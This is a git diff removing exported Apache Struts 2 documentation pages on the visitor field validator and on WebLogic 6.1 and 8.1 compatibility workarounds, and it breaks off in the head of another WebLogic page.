-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">visitor validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14195">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14195">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14195">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14195">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14195">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14195">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="visitorvalidator-Description">Description</h1>
-
-<p></p><p>
-The VisitorFieldValidator allows you to forward validation to object
-properties of your action using the object's own validation files.  This
-allows you to use the ModelDriven development pattern and manage your
-validations for your models in one place, where they belong, next to your
-model classes.  The VisitorFieldValidator can handle either simple Object
-properties, Collections of Objects, or Arrays.
-</p>
-
-
-<h1 id="visitorvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - field name if plain-validator syntax is used, not needed if field-validator syntax is used</li><li>context - the context of which validation should take place. Optional</li><li>appendPrefix - the prefix to be added to field. Optional </li></ul>
-
-
-<h1 id="visitorvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-   &lt;validators&gt;
-       &lt;!-- Plain Validator Syntax --&gt;
-       &lt;validator type=&quot;visitor&quot;&gt;
-           &lt;param name=&quot;fieldName&quot;&gt;user&lt;/param&gt;
-           &lt;param name=&quot;context&quot;&gt;myContext&lt;/param&gt;
-           &lt;param name=&quot;appendPrefix&quot;&gt;true&lt;/param&gt;
-       &lt;/validator&gt;
-
-       &lt;!-- Field Validator Syntax --&gt;
-       &lt;field name=&quot;user&quot;&gt;
-          &lt;field-validator type=&quot;visitor&quot;&gt;
-             &lt;param name=&quot;context&quot;&gt;myContext&lt;/param&gt;
-             &lt;param name=&quot;appendPrefix&quot;&gt;true&lt;/param&gt;
-          &lt;/field-validator&gt;
-       &lt;/field&gt;
-   &lt;/validators&gt;
-]]></script>
-</div></div>
-<p></p><p>In the example above, if the action's getUser() method return User object, XWork
-will look for User-myContext-validation.xml for the validators. Since appednPrefix is true,
-every field name will be prefixed with 'user' such that if the actual field name for 'name' is
-'user.name' </p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/visitorfieldvalidator-annotation.html b/content/docs/visitorfieldvalidator-annotation.html
deleted file mode 100644
index ede46a0..0000000
--- a/content/docs/visitorfieldvalidator-annotation.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>VisitorFieldValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="visitorfieldvalidator-annotation.html">VisitorFieldValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">VisitorFieldValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13828">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13828">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13828">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13828">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13828">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13828">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The validator allows you to forward validator to object properties of your action
-using the objects own validator files. This allows you to use the ModelDriven development
-pattern and manage your validations for your models in one place, where they belong, next to
-your model classes.</p>
-
-<p>The VisitorFieldValidator can handle either simple Object properties, Collections of Objects, or Arrays.
-The error message for the VisitorFieldValidator will be appended in front of validator messages added
-by the validations for the Object message.</p>
-
-<h2 id="VisitorFieldValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="VisitorFieldValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<h2 id="VisitorFieldValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@VisitorFieldValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true, context = &quot;action alias&quot;, appendPrefix = true)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/weblogic-61.html b/content/docs/weblogic-61.html
deleted file mode 100644
index 72be2a9..0000000
--- a/content/docs/weblogic-61.html
+++ /dev/null
@@ -1,203 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>WebLogic 6.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="application-servers.html">Application Servers</a>&nbsp;&gt;&nbsp;<a href="weblogic-61.html">WebLogic 6.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">WebLogic 6.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14216">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14216">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14216">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14216">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14216">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14216">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<h1 id="WebLogic6.1-RunningonWeblogicServer6.1">Running on Weblogic Server 6.1</h1>
-
-<p>This document describes why the framework doesn't work "as-is" on Weblogic Server 6.1 and shows how to build an additional JAR that will fix the problems.</p>
-
-<p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> The service pack SP4 of Weblogic Server 6.1 was used to test these notes.</p>
-
-<p>The first part of this document describes the technical problems and the theoretical solution.</p>
-
-<h2 id="WebLogic6.1-WhyItDoesn'tJustWork">Why It Doesn't Just Work</h2>
-
-<p>Weblogic 6.1 was published just prior to the finalization of the Servlet 2.3 specification. The incompatibility is that servlet filters and listeners in Weblogic 6.1 do not work with the 2.3 spec primarily because the servlet context is not retrieved in the same way.  This causes virtually all filter initialization operations to fail with an AbstractMethodError exception.</p>
-
-<h2 id="WebLogic6.1-HowtheFrameworkisModified">How the Framework is Modified</h2>
-
-<p>In Servlet 2.3, the servlet context is available from the session object; this is not true for Weblogic Server 6.1. Hence, filters and listeners must be modified to retrieve the servlet context from a different source; this is accomplished by retrieving the servlet context from the FilterConfig passed to the servlet filters during initialzation.</p>
-
-<p>However, the framework code cannot be modifed to do this, because this will break the Servlet 2.3 specification.  The goal is to leave the "original" framework unmodified so that it is still Servlet 2.3 compatible, and then to add an additional JAR that "breaks" the frame to work on Weblogic Server 6.1.</p>
-
-<p>The framework has already been modified slightly to make the above effort possible:</p>
-<ol><li><strong>RequestLifecycleFilter</strong> is modified to retrieve its servlet context from the method <code>getServletContext</code>. This method, <code>getServletContext</code>, is then implemented to return the servlet context from where it is available in Servlet 2.3: the session object. The logical operation is unchanged, but now subclasses can override <code>getServletContext</code> to retrieve the servlet context from a different location as we'll see below.</li></ol>
-
-
-<ol><li><strong>SessionLifecycleListener</strong> is modified in the same way as RequestLifecycleFilter. The method, <code>getServletContext</code>, is implemented to return the servlet context, in this case also from the session object. Again, subclasses can override the <code>getServletContext</code> method to restore the servlet context from a different source. Again, this class's functionality is unchanged.</li></ol>
-
-
-<p>Now, in a separate project, the following classes are added and compiled into a separate JAR:</p>
-
-<h3 id="WebLogic6.1-RequestLifecycleFilterCompatWeblogic61">RequestLifecycleFilterCompatWeblogic61</h3>
-
-<p>This subclass of RequestLifecycleFilter simply overrides getServletContext() to retrieve the servlet context from the filter config, creates a singleton class, SessionContextSingleton, and assigns the servlet context to the singleton so that the listeners will have the ability to retrieve it.</p>
-
-<h3 id="WebLogic6.1-SessionLifecycleListenerCompatWeblogic61">SessionLifecycleListenerCompatWeblogic61</h3>
-
-<p>This subclass of SessionLifecycleListener simply overrides getServletContext() to retrieve the servlet context from the singleton created above.</p>
-
-<h3 id="WebLogic6.1-FilterDispatcherCompatWeblogic61">FilterDispatcherCompatWeblogic61</h3>
-
-<p>Although the superclass of this class, FilterDispatcher, is commented out, this subclass retrieves the servlet context in the same way as RequestLifecycleFilterCompatWeblogic61 in case it is ever resurrected. At this time, this class is unnecessary.</p>
-
-<h3 id="WebLogic6.1-ServletContextSingleton">ServletContextSingleton</h3>
-
-<p>A singleton class whose sole purpose is to hold the servlet context so that listener classes have access to it.</p>
-
-<h2 id="WebLogic6.1-SettingUptoRunonWeblogic6.1">Setting Up to Run on Weblogic 6.1</h2>
-
-
-<h3 id="WebLogic6.1-Buildingyourownproject">Building your own project</h3>
-
-<p>In the {{web.xml} file, make the following class name substitutions:</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Old Class Name </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> New Class Name </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> RequestLifecycleFilter </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> RequestLifecycleFilterCompatWeblogic61 </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> SessionLifecycl [...]
-
-
-<h2 id="WebLogic6.1-FAQ">FAQ</h2>
-
-
-<h3 id="WebLogic6.1-IstillgettheAbstractMethodErrorExceptionwhenWeblogicServerstartsup.WhatamIdoingwrong?">I still get the AbstractMethodError Exception when Weblogic Server starts up.  What am I doing wrong?</h3>
-
-<ol><li>Check to see if a <code>action2-example.war</code> is still lingering in your <code>mydomain/applications</code> folder and delete it if it is there.</li><li>See next FAQ question.</li></ol>
-
-
-<h3 id="WebLogic6.1-Theserverbehaviorseemslikeitisfromaprevioussourcecodebase;Ican'tdebugit.What'stheclue?">The server behavior seems like it is from a previous source code base; I can't debug it.  What's the clue?</h3>
-
-<p>Sometimes BEA Weblogic Server doesn't "rebuild" its temporary files.  Do the following to force the temporary files to rebuild:</p>
-<ol><li>Stop the server.</li><li>Delete the .wlnotdelete folder in <code>mydomain/applications</code>.</li><li>Restart the server.</li></ol></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/weblogic-81.html b/content/docs/weblogic-81.html
deleted file mode 100644
index 533ac33..0000000
--- a/content/docs/weblogic-81.html
+++ /dev/null
@@ -1,157 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Weblogic 8.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="weblogic-81.html">Weblogic 8.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Weblogic 8.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45226">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45226">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45226">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45226">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45226">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45226">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="Weblogic8.1-Weblogic8.1Issues">Weblogic 8.1 Issues</h1>
-
-<h2 id="Weblogic8.1-JDK1.4">JDK 1.4</h2>
-
-<p>You must use the J4 libraries supplied in the distribution.</p>
-
-<h2 id="Weblogic8.1-TLDFiles">TLD Files</h2>
-
-<p>Running under Weblogic 8.1 requires tuning some of the packages TLD files. Weblogic 8.1 will not render a page containing a TLD that it believes is invalid.</p>
-
-<p>There is an indeterminate list of conditions that may cause TLD invalidity, including:</p>
-<ul><li>Class in TLD that does not exist on CLASSPATH.</li><li>Property in TLD that tag class does not expose via getter/setter.</li><li>???</li></ul>
-
-
-<p>Currently identified issues include:</p>
-
-<ul><li><code>struts-tags</code> <code>AnchorTag</code> class missing <code>onLoadJS</code> setter.</li><li><code>tiles-core</code> <code>PutTag</code> class not found.</li></ul>
-
-
-<p>One possible solution for fixing these is to unpack the offending jar file, edit the TLD and comment out the problems areas, update the original jar, and redeploy.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/weblogic.html b/content/docs/weblogic.html
deleted file mode 100644
index 893a5a4..0000000
--- a/content/docs/weblogic.html
+++ /dev/null
@@ -1,218 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
